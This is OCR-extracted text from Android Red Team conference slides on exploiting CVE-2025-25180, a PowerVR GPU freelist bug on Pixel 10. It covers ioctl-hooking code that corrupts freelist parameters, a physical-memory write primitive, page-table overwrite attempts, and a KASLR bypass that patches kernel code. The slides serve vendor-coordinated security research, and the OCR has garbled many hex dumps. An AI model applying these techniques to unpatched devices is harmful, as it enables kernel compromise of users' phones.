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The information provided in this presentation is for educational and security research purposes only. This research was conducted in a controlled environment.



Android Red Team

Mission

Protect the Android ecosystem through
offensive security.
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Collaboration with IMG

e The Android Red Team and Imagination Technologies work closely together on
advancing GPU security.

e Patches for this vulnerability were developed, validated, and distributed well
ahead of public disclosure, and are available to Imagination customers through
standard driver releases.

e We appreciate their support for our research and recognise their commitment to
ensure end users stay protected.
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PowerVR GPU Overview

Google



Pixel 10 PowerVR Driver Stack

ﬁ
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Pixel 10 PowerVR Driver Stack - Simplified 3D rendering

DevMemint
CAxCreate
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Pixel 10 PowerVR Driver Stack - Simplified 3D rendering
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Pixel 10 PowerVR Driver Stack - Simplified 3D rendering

i DevMemint . DevMenint _ | PhysMemNew
| CAxCreate HeapCreate RamBackedPMR
or
PhysMem
WropExtMem
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Pixel 10 PowerVR Driver Stack - Simplified 3D rendering
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Pixel 10 PowerVR Driver Stack - Simplified 3D rendering
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Pixel 10 PowerVR Driver Stack - Simplified 3D rendering

<— 0x80_0000_0000
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Note: GPU VA layout is subject to driver imposed restrictions and security checks
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Pixel 10 PowerVR Driver Stack - Simplified 3D rendering
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Pixel 10 PowerVR Driver Stack - Simplified 3D rendering
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Pixel 10 PowerVR Driver Stack - Simplified 3D rendering
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Tile-based Deferred Rendering &
FreelList Design

Through the eyes of an offensive engineer
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Tiling

® All scene geometry is processed and binned into tiles

® Tiles represent a set area of the framebuffer

® Processed geometry data is stored in the parameter buffer

From the public documentation: “PowerVR: A Master Class in
Graphics Technology and Optimization (2012)”
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https://imgtec.eetrend.com/sites/imgtec.eetrend.com/files/download/201402/1458-2110-1385011428.pdf

Tile-Based Deferred Rendering

e Used by IMG and other GPUs
e Run vertex shader in a unified processing architecture
e GPU stores the output of vertex shaders and input of pixel shaders in “Parameter Buffer”
e GPU runs fragment shaders and writes the final computed result to memory
|r """" USSE,
|
|
- = | g
> | 7
Y 159
f == il
.)
7 I T
1= e T B~
Y | X
: Run Vertex | | 2 T
: Shaces i From the public documentation: “PowerVR: A Master Class in Graphics Technology and Optimization
________ ) (2012)”
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https://imgtec.eetrend.com/sites/imgtec.eetrend.com/files/download/201402/1458-2110-1385011428.pdf

Parameter Buffer

e The parameter buffer is stored in system memory ~ ———————~ —————-— )
along with the shader data. | —

o Transformed vertices and triangle lists _i’ " et

o Shader states :

e Essential infrastructure for implementing the TBDR
o Reduce memory bandwidth overhead at the
expense of allocating memory from AP

From the public documentation: “PowerVR: A Master Class in
Graphics Technology and Optimization (2012)”
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https://imgtec.eetrend.com/sites/imgtec.eetrend.com/files/download/201402/1458-2110-1385011428.pdf

FreelList - the “GPU Hardware Heap”

e The Freelist serves as the underlying structure of the Parameter Buffer.
e Manage a pool of kernel pages reserved for storing geometry data.

‘ === —————
r PFN 2
Allocated pages | |—————=—ro

A |

Freelist State | < > g GPU " "
Buffer

GPU Firmware GPU Hardware

Freelist
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Create a Freelist

GPU Virtual Memory

—
e Stepl: Create a protected GPU memory handle
o Allocated GPU virtual space, permission etc. P E———
e PMMETA_PROTECT flag (Enforced by GPU MMU) Gene;;lv Heap
o  Writing to protected memory area explicitly
forbidden 0xa000000000|
o Cannot create a CPU / GPU memory alias
o Cannot export the GPU memory to other
: 0xfa000000
objects
PMMETA
No access
oxfado00000p|
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Create a Freelist

e Step2: Submit Parameter Buffer Configuration when calling RgxCreateFreelist API
o Graphic library figures out an optimized set of parameters

m) TMG_UINT32 ui32MaxFLPages,

m) IMG_UINT32 ui32InitFLPages,

m) TMG_UINT32 ui32GrowFLPages,

mm) IMG_UINT32 ui32GrowParamThreshold,

e GrowParamThreshold
o /* Percentage of FL memory used that should trigger a new grow
request */
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Create a Freelist

e InitFL =50, GrowParamThreshold = 80(%), MaxFL = 200, GrowFL = 10,
o 50 *80% = 40 pages for normal use
o Restof 50 - 40 = 10 pages are served as “ready page”

777777,
'1 PFN 1 )
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|
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|
|
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What's inside of a Freelist State Buffer

e GPU PM (Parameter Manager) consumes the pages from the Freelist

Freelist State Buffer(Page)

-

|
) Uit FL_STATE_BASE_REG

‘ FL Stack Ptr — FL_STATE_STACK_REG
H:I|> FL_STATE_PAGE_STATUS
Page Status
FL_STATE_MMU_STATUS
MMU Status
~~~~~~~~~~ "‘y _J
—> PENO | Firmware
PFN1 |
~ PFN2 |
i/ PEN3  ~J¢
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Freelist State Buffer Example

e Example: Freelist Oxe1cO000000 allocates 9 kernel pages initially

e1c0000000 | 20 61 00 cO e1 00 60 00 [09 00 00 @e"@@ LAY R — |

e1c0000010 |00 00 00 064 00 00 00 0O 60 00 00 00 00 00 00 00 |................ |

e1c0000020 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 60 |................ |
[zero] Allocated 9 pages initially (Ox0f995a71 << 12, 0x0f995a72 << 12, ...)

e1c0000120 |71 5a 99 Off |72 5a 99 6f] 73 5a 99 Of 74 5a 99 Of |qZ..rZ..sZ..tZ..|
e1c00008138 75 5a 99 Bf 76 5a 99 Of 77 5a 99 Of 78 5a 99 Of |uZ..vZ..wZ..xZ..|

e1c0000148 79 5a 99 of [7a 5a 99 e;l 00 00 00 00 00 00 00 00 |yZ..zZ.......... |
... [zero] X 5a7a = *(int*)(Oxe1c0000120 + Ox9 * 4)
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Freelist Summary

e Freelist: a shared state buffer + allocated kernel pages for GPU hardware
e The Freelist stack pointer register points to the first page to be consumed by the GPU.

e Hardware Heap: The PM (Parameter Manager) Unit requests 1 or more free page(s) to
store geometry data.
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Freelist Vulnerability
CVE-2025-25180

Manipulate the FL Stack Pointer Register
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CVE-2025-25180

“... subvert GPU HW to write to arbitrary physical memory pages”

July 2025

Title GPU DDK - Insufficient validation in RGXCREATEFREELIST creates corrupt freelist

Our Reference PSP-66

CVE Reference CVE-2025-25180

Originator Reference PP-171350

Date Posted 11th July 2025

Versions affected DDK Releases up to and including 24.3 RTM
Software installed and run as a non-privileged user may conduct improper GPU system calls to subvert GPU HW to write to
arbitrary physical memory pages.

Vulnerability
Under certain circumstances this exploit could be used to corrupt data pages not allocated by the GPU driver but memory pages in
use by the kernel and drivers running on the platform altering their behaviour.

Resolution The DDK kernel module has been updated to address this improper use of GPU system calls to prevent unauthorised access to
arbitrary physical memory pages.
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Corrupted FL Stack Pointer Register

e FL Pages Parameters

IMG_UINT32 ui32MaxFLPages, 1
IMG_UINT32 ui32InitFLPages, 1
IMG_UINT32 ui32GrowFLPages, Ox100000
IMG_UINT32 ui32GrowParamThreshold, Ox100000

RGX PM FREELISTSTATE BUFFER SET STACK PTR(sFLState,

ui32InitFLPages - ui32ReadyPages - 1) ;

RGX PM FREELISTSTATE BUFFER SET STACK PTR (sFLState,(-ui32ReadyPages));
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Corrupted FL Stack Pointer Register

Create a Freelist on GPU virtual address
FL Base = 0x12440

FL BASE ADDRESS +
FL STACK PTR * 4 -> First FL
page consumed by the GPU HW

0x12440 + ((OxfE££f£dA710*4) &
OxfEEEEE) =
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Corrupted FL Stack Pointer Register

GPU Virtual Memory

?
e What happened: I — A ——
GPU Virtual Memory FL State Buffer /7
P T_'FL Pages
0x13000
 FL Stack _ 12x12000
FL State Buffer ’%_ —)
i FL Pages i<
0x13000
0x1007000
General Heap Area Crafted FL
7 Page;if,ﬁ
0x1009000
GPU Page Fault:
DataMaster=GEOM fault_address=0x1007f80
pc_address=0xaa408e000
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The Road to Kernel Panic
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Get an Initial Kernel Crash POC

e Android 3D rendering example application (Texture Teapot)

Hijack Freelist Arguments

if (target_FL) {
in->hFreelistAndStateReservation = hReservation;
in->ui32GrowFLPages = 0x100000;
in->ui32GrowParamThreshold = 0x100000;
in->ui32InitFLPages = 1;
in->ui32MaxFLPages = 1;
int ret = BYTEHOOK_CALL_PREV(ioctl_proxy_auto, ioctl_t, fd, cmd, data);
BYTEHOOK_POP_STACKQ) ;
DumpMem((unsigned char %) pmr_original, 0x100);
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Get an Initial Kernel Crash POC

GPU Virtual Memory

—FrsEar|  exazese e Not all Freelist created by the driver
FL State Buffer { 7% W|” be Used.
FL Pages
/ 1 ex13000
AOAOAOAO
AOAOAOAO . . .
AGAGAOAD e Find correct Freelists and overwrite
page address to Oxa0a0a0al
General Heap Area ‘%fézrk
0x1009000 e The screen may “blink” and recover
itself most of the time
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Get an Initial Kernel Crash POC

e Corrupted Parameter Buffer may lead to render failure

Other industry implementations lead to rendering failure
(public blogpost)
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https://alyssarosenzweig.ca/blog/asahi-gpu-part-5.html
https://alyssarosenzweig.ca/blog/asahi-gpu-part-5.html

Get an Initial Kernel Crash POC

e First kernel panic &
GPU Virtual Memory

Freelist Reference Page

Fake Reference Page

[

FL Pages

0x12000

0x13000

AOAOAOAQ
AOAOGAODAQ

A 4
" Crafted FL
| Pages

AOAOGAOAQ

[50472.248102][ T6626] BUG: Bad page state in
process AudioEventMonit pfn:ata0a0
[50472.248112][ T6626] page:00000000b3732a49
refcount:0 mapcount:0 mapping:00000000b59abbd8
index:0x23b7 pfn:0xa1a0a0

[50472.248123][ T6626] aops:ext4d _da_aops ino:3bd
dentry name:"CameraServices.apk"

[50472.248135][ T6626] flags:
0x200000000002200c(referenced|uptodate|arch_1|ma
ppedtodisk|zone=1|kasantag=0x0)

[50472.248145][ T6626] page_type: Oxfffffffe()
[50472.248158][ T6626] raw: 200000000002200c
fffffffe26642808 fffffffe26a9df48 ffffff8891f312a0
[50472.248169][ T6626] raw: 00000000000023b7
0000000000000000 00000000fffffffe
0000000000000000
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Blackboxing the GPU HW
Attempt #1
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Attempt #1

e What we have
o The FL stack pointer register points to an out-of-bound GPU VA Ox1008080
o We can craft arbitrary physical pages as the FL for GPU

e Who consumes these FL pages?
o GPU Driver X
o GPU Firmware X
o GPU Hardware [4 -> PM (Parameter Manager) Unit
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Attempt #1

OxI008000

Ox1I008080

Page Address: 0x8fded << 12

Fake FL Stack

OxO

OxO

ox8fdec

ox8fded

OxO

OxO

Growth direction

<—FL stack pointer

No observable effect
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Attempt #1

Fake FL Stack )
OxI008000 00000010
OxO ‘) 00000020
00000030
00000040
00000050
00000060
00000070
OxO 00000080
00000090
OxXI0080T0O
Ox8fdec
oxsfded
00000000 00 00 00 a® Oc 00 00 00 00 00
00000010 2e 00 00 00 00 Qe 00 40 40 00
OxO 00000020 00 00 40 41 c2 41 43 c2 00 00
00000030 3f 50 00 00 80 3f d8 00 00 00
OxO
Ox1I008080
OxO l—FL stack pointer
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Attempt #1

Is this a Page Table crafted by PM?

Physical Memory Dump (0Ox8fdec000)

8fdec000 h1 d0 de 8f 00 00 00 3c|01 00 00 00 00 00 00 3c |.......
8fdec010 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |.......
8fdec020 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |.......
8fdec030 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |.......
8fdec040 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |.......
8fdec050 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |.......
8fdec060 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |.......
8fdec070 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |.......
8fdec080 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |.......
8fdec090 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |.......
8fdec0al [........ceemvvenrnnen original memory content ....................... ]
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Attempt #1b

Fake FL Stack

OxI008000
OxO

00000000
00000010
: 00000020
OxO 00000030
| 00000040
OXI0080TO0 00000050
Ox8fdec e 00000060
00000070
Ox8fdec 00000080
00000090
OXO 000000a0
000000b0
L OxO
ox1I008080
OxO <~—FL stack pointer
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Attempt #1c

Fake FL Stack

OxI008000

OXIO08070

OoxI008080

ox8fdec

ox8fdec

ox8fdec

ox8fdec

OxO

Ox0O

OxO

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090
00000000
000000b0
000000c0
000000d0
0000000
00000010
00000100
00000110
00000120

<~—FL stack pointer

00 00 80
00 00 84
32 8 fa
20 c0 00
54 03 40
00000120
00000130
00000140
00000150
00000160
00000170
00000180
00000190
00000100
000001b0
0000010
000001d0
000001e0
0000010

33 33 00 00 08 00 00 80
7f 00 00 00 7f f8 @2 80
03 a0 3f 8 13 04 30 41
00 8c 20 28 03 80 32 f8
35 fo 70 03 00 37 fo co

00
00
00
82
00
00
00
86
0
00
00
88
00
00
00
8a
0
00
00
8c
00
00
00
8e
00
00

00

00
00
00
01
00
00
00
23
00
00
00
c4
00
00
00
05
00
00
00
86
00
00
00
c7
00
00
00

00
00
of
al
00
00
of
22
00
00
of
ff
00
00
of
e3
00
00
of
e3
00
00
of
Tf
00
00
29

00
00
Qc
fo
00
00
Qc
fil.
00
00
Qc
ff
00
00
Qc
£
00
00
Qc
fF
00
00
0c
ff
00
00
Qc

00
00
02
00
00
00
02
00
00
00
02
00
00
00
02
00
00
00
02
00
00
00
02
00
00
00
02

00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

00
00
00
c0
00
00
00
c0
00
00
00
c0
00
00
00
c0
00
00
00
c0
00
00
00
c0
00
00
00

00
00
79
00
00
00
79
00
)
00
79
00
00
00
79
00
00
)
79
00
00
00
79
00
)
00
ff

00
00
0c
c0
00
00
0c
c0
0
00
0c
co
00
00
0c
c0
0
00
Qc
c0
00
00
Qc
c0
00
00
i

00
00
20
00
00
00
20
00
00
00
20
00
00
00
20
00
00
00
20
00
00
00
20
00
00
00
00

5. T:@5:D e 7icc |

00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
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Attempt #1d

Fake FL Stack

OxXI008000
Ox0 T 8fdec000 |o1 do de 8f 00 00 00 35|h1 e0 de 8f 00 00 00 3c | -

<ioeren|
8fdec010 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |....... <iene <|
8fdec020 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |....... <iene <|
8fdec030 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |....... <iene <|
s 8fdec040 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |....... <iene <|
OXI008070 8fdec050 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |....... <iene <|
OxBhdec 8fdec060 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |....... <iene <|
8fdec070 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |....... <iene <|
Oxgtded 8fdec080 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |....... <iene <|
8fdec090 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c |....... <iene <|
ox8fdee . .
8fdecOal [ ................... original memory content ....................... ]
OxO
OoxI008080
OXO <—FL stack pointer
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Attempt #1

Can we exploit the device by this write primitive?

8fdec000 @de 8f[00 00 00 3c|...
Bits we can’t control \Invalid Instruction

Assembly B OXFFFFFFCO80C9F000+0x4+0x4000*2)| °

- Encode 0120 00 14 i

Jump to addr + 0x4 + 0x4000*N
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Blackboxing the GPU HW
Attempt #2
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Attempt #2

OxI008000

Oxl

Oxl

Oxl

Oxl

OxI0080I10

ox8fdec

*(long*) Ox8fdec000 = Oxabbccdd001
Oxadbbccdd

00000000 01 dO cd bc ab 20 00 00 00 00 00 00 {
00000010 00 00 00 00 00 00 00 00 00 00 00 00 (

[(ACALALALALD () (AL (AL (AL (AL (AL (AL (AL (AL) (AL() (AL (AL (AL (|

OxI008
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Attempt #2

e We have a semi write primitive at the beginning of an arbitrary physical page

8fdec000 | ab 00 00 00][ original memory content ]
8fdecO10 | [ M. deunnnnne. origy(al n\e‘mory content ................... ]
Assembly STR X1, [XO]|
Invalid instruction
- Encode 010000 F9 2 bits
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Attempt #2

TTBR1 _EL1 = 0x00a4000081ca8001
(reboot)

TTBR1 _EL1 = 0x01ae000081ca8001
(reboot)

TTBR1 _EL1 = OxOO44000081ca8001
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Attempt #2

Arm® Architecture Reference Manual

for A-profile architecture

Document number ARM DODI 0487
Document guallty EAC

Document version Maa

Document confidentialty Non-Confidential

ano=0I1D

=CED TCAM



Attempt #2

4KB, 16KB, and 64KB granules, 48-bit OA
63 59 58 5150 4847 mm-1, 1211 2o

AL 1

Table[ Attributes lxs»c:):RED] RESO [ Next-level tabl:éfaddress[ﬂ;m] [ RE"S:O‘ IGNCZ)?QED 111

With the 4KB granule size m is 12°, with the 16KB granule size m is 14, and with the 64KB granule size m is 16.
1 When m is 12, the ResSO field shown for bits[(m-1):12] is absent.

4KB granule 48-bit OA
63 2 50 49 48 47 ks 2zn 2> 2 —5
Page Upper attributes I RESO] Output add’;ess[47:12] ] Lower attributes 1 l 1

4KB, 16KB, and 64KB granules, 48-bit OA
63 50 49 48 47 nn1,_ 1615 12 11 24

I £

Block Upper zfainnbutes |reso] Output addresg[ﬂ.n] [ reso [o7] meso | Lower ajtnbutes 01

= ]

For the 4KB granule size, the level 1 descriptor n is 30, and the level 2 descriptor n is 21.
For the 16KB granule size, the level 2 descriptor nis 25.

For the 64KB granule size, the level 2 descriptor nis 29.
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Attempt #2

Descriptor Descriptor type Condition

bit[0] bit[1]

0 - Invalid -

1 0 Block Lookup level is not 3

Reserved, treated as invalid
Table

Page

Lookup level is 3
Lookup level is not 3

Lookup level is 3
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Attempt #2

[dea:

e Overwrite level 2 block descriptor of kernel code

Constraints:

e Last 3 nibbles need to be 001
e PTE to corrupt needs to be at the start of a page
e Level 3 table needs to have a predictable virtual address
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Attempt #2

[dea:

e Overwrite level 2 block descriptor of kernel code

Constraints:

e Last 3 nibbles need to be 001
e PTE to corrupt needs to be at the start of a page
e Level 3 table needs to have a predictable virtual address

ASLR breaks this assumption!

ano=0I1D

=CED TCAM



Y

Blackboxing the GPU HW
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Attempt #3

0x12000
OxI008000 Freelist Reference Page {

Oxl 7k 7

FL Pages

0x13000

Oxl

Oxl

O What if we don’t map —————10x1007000

- O0x1007000 - OX10080007  roe ererece roe e
ox8fdec vl

Oxadbbeccdd

OxO

OxXI008080
OxO <——FL stack pointer

ano=0I1D
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Attempt #3

What if we don’t map 0x1007000 - 0x10080007?

GPU Virtual Memory GPU Virtual Memory

GPU Page Fault:

DataMaster=GEOM

Bl el lirectfon o FL Read Direction A 0x1007000 faU/t_address=0x1007f80
7 7]0x1007000 pc_address=0xaa408e000

—)

0x1008000

Dx1 008080

008080 0x1008080
FL Stack Pointer FL Stack Pointer
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Attempt #3

e 0Ox1007f80 might be an interesting GPU VA address to start the FL

e Tried some stack offsets but GPU does not write to the pages at all
e Orit'sidentical to #1

int offset = 0;
pmr_reference[4 + offset]

Ox8fdec;
Oxaabbccdd;

pmr_reference[5 + offset]

00000000 @1 dO cd bc ab 00 00 3c 01 00 00 00 00 V0 00 3c
00000010 01 00 00 00 00 00 00 3c 01 00 00 00 00 V0 00 3c
00000020 00 00 00 00 00 00 00 00 00 V0 00 V0 00 00 00 00
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Attempt #3

int offset = 1;

00000000 33 33 00 00 00 00 00 80 33 33 00 00 08 00 00 80 133

00000010 33 33 00 00 00 00 00 84 00 00 00 00 00 00 00 00 |33

pmr_referencel[4 + offset] = Ox8fdec;
pmr_reference[5 + offset] = Oxaabbccdd;
Y ‘\:/ il re ) \r:‘ | C) nce ~ U )‘7 E_ VA UXL1 :_,‘\ L / Jou
1At offser = 11;: 00000000 01 do cd bc ab 00 00 3c 01 00 00 00 00 00 00 3c
00000010 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c
pmr_reference [4 -+ offset] = Ox8fdec; 00000020 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c

00000030 01 00 00 00 00 00 00 3c 01 00 00 00 00 00 00 3c
me_PEference[S + Offset] - GxaabbCCdd; 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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Thank you for attending - questions?
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Attempt #3
// pmr_reference -> GPU VA 0x1007f80
int offset = -2;
pmr_reference[4 + offset]

Ox8fdec;

*(long*) Ox8fdec000 = Oxabbccdd1
Oxaabbccdd;

pmr_reference[5 + offset]

00000000 | dl cd bc ab| 00 00 00 00 00 00 O
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Attempt #3

e GPU complains about page fault and core dump all the time
But rendering works? -> Yes

(©)

pvrsrvkm
pvrsrvkm
pvrsrvkm
pvrsrvkm
pvrsrvkm
pvrsrvkm
pvrsrvkm

pvrsrvkm

34100000 .
34100000 .
34100000 .
34100000 .
34100000 .
34100000 .
34100000 .
34100000 .

: PowerVR subsystem core dump in progress
: Dumping additional fault data for session 4 in TEE
: GPU reset reason=GUILTY_LOCKUP p1d=7973

DataMaster=3D fault_address=0x100 pc_address=0x0

: PowerVR subsystem core dump in progress
: Dumping additional fault data for session 5 in TEE
: GPU reset reason=GUILTY_LOCKUP p1d=7973

DataMaster=3D fault_address=0x100 pc_address=0Oxffffffffffffffff
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Attempt #3 - Conclusion

e We have an almost arbitrary 32-bit write primitive at the beginning of any physical page
o  Weird primitive, but powerful

8fdec000 | |:| [........ original memory content ........ ]
8fdec010 | [ \ .......... original memory content ................... ]

The 4 bits we can’t control

e We can patch AP kernel code, read-only page, data page from the GPU subsystem
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Bypass KASLR

By Patching Kernel Code Directly From GPU HW

Google



The Initial Write Primitive

e We can patch 3.5 bytes at the beginning of an arbitrary physical page

8fdec000 | |:| [........ original memory content ........ ]
8fdecO10 | [ . Nv.oeveennnn, original memory content ................... ]

The 4 bits we can’t control

e Instructions we can craft
o  Mov X{1,17} / LDR X{1,17} ...

e s this enough for building a kernel exploit?
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Physical Memory Randomization

e cat/proc/iomem

frankel:/ # cat /proc/iomem | grep -1 kerne

80010000-81c/ffff : Kernel code
82090000-8232ffff : Kernel data

e Project Zero filed a similar bug in the approximately same time

e List kernel functions that appear at the beginning of the page
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Bypass KASLR

. . .
o Atleast 3948 functions in GKl image!
o  GKl kernel image means .ko drivers are excluded :-/

ovcu HamS. BUNY_LILlL ——- UAI11111LUULILLLYYY

3921 name: early_init_dt_scan_chosen_stdout —-—> oxffffffc@8lcccooo

3922 name: sub_FFFFFFCO81CCCFF4 ——> oxffffffc08lccdooe

3923 name: __reserved_mem_alloc_size ——> Oxffffffc08lcce000

3924 name: powercap_init --> @xffffffco8lccfooo

3925 name: tc_filter_init -—> Oxffffffc081lcd1000

3926  name: nf_conntrack_h323_init —-> Oxffffffce81cd2000 How to get KASLR Iea k???

3927  name: hashlimit_mt_init —-> @xffffffce81cd3000 e 0

3928 name: __cxa_get_globals_286 —-—> oxffffffc081lcd4000

3929 name: udp_tunnel_nic_init_module --> oxffffffc081lcd5000

3930 name: xfrmi6_init —--> oxffffffc081cd6000

3931 name: icmpv6_init --> @xffffffce81lcd7000 E h d t f db h II x

3932 name: sit_init --> Oxffffffco81cd8000 Ven ar er’ no rom a S e

3933 name: __gunzip --> Oxffffffc081cd9000 . . .

3934 name: sub_FFFFFFCO81CD9F40 ——> oxffffffc08lcda0oo

unprivileged app only — fewer interfaces

3936 name: sub_FFFFFFC@81CD8718 ——> oxffffffc@8lcdc0oo

3937 name: sub_FFFFFFC@81CDCFB4 —-> Oxffffffc081lcddeoo M

3938 name: sub_FFFFFFCO81CDDFCO ——> oxffffffc08lcde00oo We Can Inte raCt

3939 name: sub_FFFFFFCO81CDEFCC ——> oxffffffc08lcdfooo

3940 name: sub_FFFFFFCO81CDFF98 ——> oxffffffc081lce0000

3941 name: sub_FFFFFFCO81CEQESC ——> oxffffffc081lcel000

3942 name: sub_FFFFFFC@81CE1B14 ——> Oxffffffc081lce2000

3943 name: __cxa_get_globals_337 -—> oxffffffc08lce3000

3944 name: __cxa_get_globals_394 -—> oOxffffffc081lce4000

3945 name: __cxa_get_globals_438 -—> oxffffffc08lce5000

3946 name: dm_snapshot_exit —-—> oxffffffc081ce6000

3947 name: devfreq_simple_ondemand_exit ——> Oxffffffc081lce7000
3948 name: mip6_fini ——> @xffffffc081lce9000
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Bypass KASLR

Pseudo-filesystem!

o c_show <- cpuinfo, proc_sched_show_task <- sched ...

void proc_sched_show_task(struct task_struct *p, struct pid_namespace x*ns,

frankel:/ # cat /proc/self/sched
cat (18255, #thi ib)

.exec_start

.vruntime

.sum_exec_| i 2 10.315652
se.nr_migrations 3 0
sum_sleep_runtime g 0.000000

0.000000
0000

A (]
0.000000
000000
0.000000
1

iowait_sum 3 0.000000
t_count :

nr_failed_migrations_affine
nr_failed_migrations_running
_failed_migrations_hot
nr_forced_migrations
nr_wakeups
nr_wakeups_sync
nr_wakeups_migrate
nr_wakeups_local
nr_wakeups_remote
nr_wakeups_affine
nr_wakeups_affine_attempts
nr_wakeups_passive
nr_wakeups_idle

nr_voluntary_switches
_involuntary_switches
.load.weight
.avg.load_sum
se.avg.runnable_sum
.avg.util_sum
e.avg.load_avg

struct seq_file *m)
{

unsigned long nr_switches;

SEQ_printf(m, "%s (%d, #threads: %d)\n", p->comm, task_pid_nr_ns(p
get_nr_threads(p));
SEQ_printf(m,

#define P_SCHEDSTAT(F) __PS(#F, schedstat_val(p->stats.F))
#define PN_SCHEDSTAT(F) __PSN(#F, schedstat_val(p->stats.F))

PN(se.exec_start);
PN(se.vruntime);
PN(se.sum_exec_runtime);

nr_switches = p->nvcsw + p->nivcsw;
P(se.nr_migrations);

if (schedstat_enabled()) {
u64 avg_atom, avg_per_cpu;

PN_SCHEDSTAT (sum_s leep_runtime);
PN_SCHEDSTAT (sum_block_runtime);
PN_SCHEDSTAT (wait_start);

PN_SCHEDSTAT (sleep_start);

PN_SCHEDSTAT (block_start);

PN_SCHEDSTAT (sleep_max) ;

PN_SCHEDSTAT (block_max) ;

PN_SCHEDSTAT (exec_max) ;

PN_SCHEDSTAT (slice_max);

PN_SCHEDSTAT (wait_max) ;

PN_SCHEDSTAT (wait_sum);

P_SCHEDSTAT (wait_count);

PN_SCHEDSTAT (iowait_sum);

P_SCHEDSTAT (iowait_count);

P_SCHEDSTAT (nr_migrations_cold);
P_SCHEDSTAT (nr_failed_migrations_affine);
P_SCHEDSTAT (nr_failed_migrations_running);
P_SCHEDSTAT (nr_failed_migrations_hot);
P_SCHEDSTAT (nr_forced_migrations);
P_SCHEDSTAT (nr_wakeups) ;
P_SCHEDSTAT (nr_wakeups_sync) ;

ano=0I1D
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Bypass KASLR

e After experimentations, the sched one work
o e-shew -> proc_sched show task (Ox12d0 bytes)

loc_FFFFFFCO80117F58
1F 01 00 F1 CMP X8, #0 ; Set cond. codes on Opl - Op2
09 48 88 52 MOV W9, #0x4240 ; Rd = Op2
E1 9F 00 90 21 A4 07 91 ADRL X1, a45s5141d061d ; "%-45s:%14Ld.%061d\n"
08 55 88 DA CNEG X8, X8, MI ; Conditional Negate
E9 01 A0 72 MOVK W9, #0OxF,LSL#16 ; Move with Keep
OA 09 C9 9A UDIV X10, X8, X9 ; Unsigned Divide
A2 A5 00 DO 42 48 1E 91 ADRL X2, alowaitSum ; "iowait_sum"
EQ 03 13 AA MOV X0, X19 ; _QWORD
44 Al 09 9B MSUB X4, X10, X9, X8 ; Multiply-Subtract
3B 68 0B 94 BL seq_printf ; Branch with Link
83 D2 41 F9 LDR X3, [X20,#0x3A0] ; Load from Memory
76 A3 00 BO D6 9E 17 91 ADRL X22, a45s211d ; "%-45s:%21Ld\n"
62 A3 00 BO 42 DO 17 91 ADRL X2, alowaitCount ; "iowait_count"
EO 03 13 AA MOV X0, X19 ; _QWORD
E1 03 16 AA MOV X1, X22 ; char *
33 68 0B 94 BL seq_printf ; Branch with Link
83 FA 41 F9 LDR X3, [X20,#0x3F0] ; Load from Memory
22 A3 00 BO 42 08 1C 91 ADRL X2, aNrMigrationsCo ; "nr_migrations_cold"
EQ 03 13 AA MOV X0, X19 ; _QWORD
E1 03 16 AA MOV X1, X22 ; char *
2D 68 0B 94 BL seq_printf ; Branch with Link
83 FE 41 F9 LDR X3, [X20,#0x3F8] ; Load from Memory
62 A2 00 BO 42 30 08 91 ADRL X2, aNrFailedMigrat ; "nr_failed_migrations_affine"
EO 03 13 AA MOV X0, X19 ; _QWORD
E1 03 16 AA MOV X1, X22 ; char *
27 68 0B 94 BL seq_printf ; Branch with Link
83 02 42 F9 LDR X3, [X20,#0x400] ; Load from Memory
62 A2 00 BO 42 AO 08 91 ADRL X2, aNrFailedMigrat_0 ; "nr_failed_migrations_runnin
EO 03 13 AA MOV X0, X19 ; _QWORD
E1 03 16 AA MOV X1, X22 ; char * e
21 68 0B 94 BL seq_printf ; Branch with Link
83 06 42 F9 LDR X3, [X20,#0x408] ; Load from Memory
62 AD 00 90 42 44 OF 91 ADRL X2, aNrFailedMigrat_1 ; "nr_failed_migrations_hot"

EQ 03 13 AA MOV X0, X19 ; _QWORD [ ; ]




Bypass KASLR

o X22isthe register for pointing the format string address

ADRL X22, a45s211d ; ”%—455:%21Ld\n”|

ADRL X2, alowaitCount ; "i1owalt_count"

MoV X0, X19 ; _QWORD

MoV X1, X22 ; char *

BL seq_printf ; Branch with Link

LDR X3, [X20,#0x3F0] ; Load from Memory

ADRL X2, aNrMigrationsCo ; "nr_migrations_cold"
MOV X0, X19 ; _QWORD

MOV X1, X22 ; char *

seq_printf ; Branch with Link

e seq_ prmt(seq, "%-45s:%21Ld\n", “nr_failed_migrations_hot", nr_hot);

X22
® kernel:FFFFFFC080118000 MOV X1, X22 -> LDR X17, [X22, 0x71428]! (D1 AE 42 F8)
® .kernel:FFFFFFC080118004 BL seq_printf
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Bypass KASLR

e seq_print(seq, "%llu”, "nr_failed_migrations_hot", nr_hot);
o We are printing the address of a kernel string

iowait_count
nr_migrations_cold
nr_failed_migrations_affine
nr_failed_migrations_running

